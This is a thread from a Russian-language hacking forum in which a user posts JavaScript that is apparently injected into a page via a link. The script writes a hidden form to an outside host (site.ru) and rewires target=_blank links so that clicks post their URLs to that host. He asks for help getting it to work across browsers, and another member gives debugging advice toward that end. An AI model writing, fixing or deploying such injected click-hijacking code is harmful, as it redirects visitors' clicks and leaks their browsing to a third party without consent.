• XSS.stack #1 – первый литературный журнал от юзеров форума

Хелп с JS кросбраузерностью

TrueUser

(L1) cache
Пользователь
Регистрация
13.07.2009
Сообщения
540
Реакции
2
Доброго всем, у меня есть такая просьба небольшая к мемберам - сам пол ночи голову ломал - ничего не выходит.
Вот простецкий код:
Код:
var pattern = /&q=([^&]+)/;
var rx = new RegExp(pattern);
var parts = rx.exec(document.location.toString());
document.write('<form action="'http://site.ru/index.php?q=' + parts[1]+'" method="POST" name="form" target="_blank" style="display:none;"><input type="hidden" name="go"></form>');

setTimeout('start()',2000);

function start(){
 for(var i=0;i<document.links.length;i++){
  if(document.links[i].target=='_blank')
   document.links[i].onclick='go(this.href);return false;';
 }
}

function go(href){
 form.go.value=href;
 form.submit();
 setTimeout('clear()',1000);
}

function clear(){
 for(var i=0;i<document.links.length;i++){
  if(document.links[i].target=='_blank')
   document.links[i].onclick='';
 }
form.removeNode(true);
}
Не желает работать везде. То в опере работает, в ФФ обламывается на каких то недокументированных ошибках, причем продолжает исполнение, только массив ссылок пустой оказывается. В осле вообще не понятно что твориться. Причем алерты везде в коде срабатывают, то есть живет он, но то что задумано не делает. Я уже несколько раз переделывал его для улучшения совместимости, но куда уж больше то?
За всякую помощь буду благодарен, у меня идеи иссякли :(
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Напиши в каких браузерах какие ошибки их текст.
Т.к. сама конструкция document.links кроссбраузерная W3C говорит что во всех браузерах возвращать должна.
Сделай во всех браузерах в конце перед тегом body
Код:
<script>alert(document.links.length);</script>
Потом попробуй свойства объектов получить так
Код:
<script>for(var i=0;i<document.links.length;i++){
 document.writeln(document.links[i].target + "
" + document.links[i].onclick +"
");
}</script>
Если во всех возвращает правильное кол-во значит пашет во всех.
Event проверь пашет ли везде onclick или нет, попробуй через
Код:
addEvent(document.links[i], 'onclick', function(){ alert('test'); });
. Страницу проверь ошибка может на ней быть может там тоже уже есть javascript из-за которого и ошибка)
И кстати когда ссылки берёшь лучше это делать после полной загрузки страницы вешай либо <body onload=""> либо window.onload = где нужно.
 
Короче этот скрипт подгружается в самое начало страницы через ссыль. Специально сделана задержка чтобы контент прогрузиться успел. Свойства
window.onload
не работает в таком случае. Тут не понятно вообще получается - если всталять скрипт в конец документа то все отлично работает, а вот при такой отложенной обработке непонятки какие то возникают, например несмотря на то что я присваиваю (а иногда все таки удается добраться до ссылок) свойству onClick вызов функции (и алертом я вижу что оно присвоилось) ничего не происходит при клике.
При этом ошибок никаких по мнению браузера не происходит. Может есть какие то способы отложенной обработки или например чем нибудь заставить браузер обновить значения переменных (а-ля Process Messages :))?
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх